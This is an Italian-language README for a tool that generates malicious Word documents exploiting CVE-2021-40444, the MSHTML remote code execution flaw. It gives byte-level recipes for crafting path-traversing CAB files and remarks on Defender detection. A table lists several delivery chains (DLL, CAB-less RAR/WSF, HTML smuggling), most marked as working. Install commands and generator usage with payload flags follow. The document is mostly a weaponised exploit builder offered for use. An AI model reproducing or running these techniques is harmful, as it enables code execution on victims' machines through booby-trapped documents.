
Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit
Generatore di docx dannosi per sfruttare CVE-2021-40444 (Esecuzione remota di codice in Microsoft Office Word), funziona con file DLL arbitrari.
Sebbene molti PoC siano già presenti in rete, ho pensato di cimentarmi nell'armamento di questa vulnerabilità, poiché ciò che ho trovato disponibile mancava di informazioni preziose da condividere, considerando anche che Microsoft ha già rilasciato una patch per questa vulnerabilità.
Finora, le uniche risorse preziose che ho visto per creare un generatore completamente funzionante sono:
Le risorse sopra indicate descrivono molti dei requisiti necessari per creare una catena completa. Per evitare di ripetere troppe informazioni non necessarie, mi limiterò a riassumere i dettagli rilevanti.
Ci sono parecchi requisiti trascurati affinché questo exploit funzioni, che hanno causato il fallimento anche di buoni PoC, come quello di lockedbyte.
Forse nessuno li ha esplicitamente "rilasciati" per evitare che la vulnerabilità venisse sfruttata ulteriormente. Ma ora è stata patchata, quindi non dovrebbe causare molti problemi rilasciare i dettagli.
Secondo questo tweet di Will Dormann, l'HTML deve essere di almeno 4096 byte per attivare l'"Anteprima" in MS Word.
Il file CAB deve essere modificato a livello di byte per evitare errori di estrazione e per ottenere lo ZipSlip:
filename.inf deve diventare ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart deve essere aumentato di 3 (a causa dell'aggiunta di '../')CFFOLDER.cCfData CFFILE.cbFile deve essere maggiore dell'intero CFHEADER.cbCabinetCFDATA.csum Le ragioni di questi vincoli sono molteplici e non ho dedicato abbastanza tempo per comprenderli tutti a fondo, ma vediamo i più importanti:
NOTA1: Defender ora rileva se il file CAB contiene un PE utilizzando il valore _IMAGE_DOS_HEADER.e_magic come firma, potenzialmente evitando che i file PE vengano incorporati nel CAB. È possibile aggirare questa firma? Non ne sono sicuro, ma come osservato in precedenza, questa è una vulnerabilità patchata, quindi non ho intenzione di investire molto più tempo su questo. Spetta al lettore curioso sviluppare ulteriormente.
NOTA2: La patch di Microsoft blocca schemi URI arbitrari, apparentemente usando un approccio di blacklist (questa è solo una supposizione)
La catena di attacco principale associata a CVE-2021-40444 è l'attacco DLL caricato tramite lo schema URI .cpl. Per sfruttarlo, un attaccante deve generare una DLL appositamente predisposta. Se vuoi provarlo, usa il mio script evildll-gen.
Come notato da Max Maluin, è possibile interagire con diversi tipi di file abusando di IE e dell'URI basato sull'estensione del file associato. Sebbene possa essere un buon modo per sfruttare IE, ha dei limiti.
In effetti, va notato che il metodo utilizzato nell'exploit per scaricare file si basa sugli aggiornamenti dei controlli ActiveX e non può essere utilizzato per scaricare file arbitrari. Secondo la documentazione di Microsoft, il tag codebase può puntare solo a pochi tipi di file: OCX, INF e CAB.
Anche se possiamo scaricare direttamente un file OCX o INF, non possiamo ancora essere sicuri di scaricare il file nella posizione corretta all'interno del sistema. Con l'exploit del cab, è possibile spostare il file .inf in un percorso noto utilizzando il path traversal, ma in qualsiasi altro caso il file verrà memorizzato in una directory casuale, rendendo praticamente impossibile fare riferimento ad esso.
Ad oggi, non ho trovato un modo per concatenare download ed esecuzione SENZA un file CAB.
Nota: Parlando solo di IE, lo smuggling HTML potrebbe essere uno scenario possibile per sfruttare la vulnerabilità.
Questa tecnica è stata divulgata per la prima volta da Eduardo Braun su Twitter e ulteriormente spiegata in questo documento.
Si noti che utilizzando questa tecnica, la catena di attacco è leggermente diversa. Questo attacco richiede che l'utente scarichi un file RAR appositamente predisposto, ottenuto concatenando uno script WSF valido e un file RAR valido. Una volta aperto, il RAR conterrà un DOCX con un riferimento a un HTML, che a sua volta tenterà di caricare il file RAR come script WSF.
Per riassumere:
L'utilità del generatore può attualmente riprodurre i seguenti attacchi:
| Attacco | Modelli HTML | Target | Metodo di consegna | Metodo di esecuzione | Funzionante |
|---|---|---|---|---|---|
| Versione originale dell'attacco | cab-orig-* | WORD | DOCX | CAB + DLL | SÌ |
| Attacco solo IE di j00sean | cab-orig-j00san | IE | HTML | CAB + DLL | SÌ |
| La mia versione senza DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 |
| Attacco "CABless" di Eduardo B. con RAR | cabless-rar-* | WORD | RAR | WSF | SÌ |
| Attacco j00sean modificato + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | SÌ2 |
1Il CAB non viene scaricato correttamente in alcuni ambienti
2L'utente deve fare clic su "Salva" per scaricare il file su IE
L'utilità cab_parser.py può essere utilizzata per vedere le intestazioni del file exploit, ma non considerarlo un parser completo. È un visualizzatore di intestazioni CAB molto veloce e sporco che ho sviluppato per capire cosa stava succedendo.
Il generatore è progettato per funzionare su Windows, poiché utilizza l'utilità makecab. Prima dell'uso, assicurati di installare le dipendenze richieste:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
Il generatore è molto semplice da usare e, anche se è stato testato con diversi payload e versioni di Windows, non è a prova di errore. Sto riscontrando comportamenti diversi su diverse build di Windows. Non appena avrò più dettagli da condividere, li pubblicherò qui.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Nota: la porta è selezionata dall'URL e l'exploit viene generato in base all'estensione del file payload
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t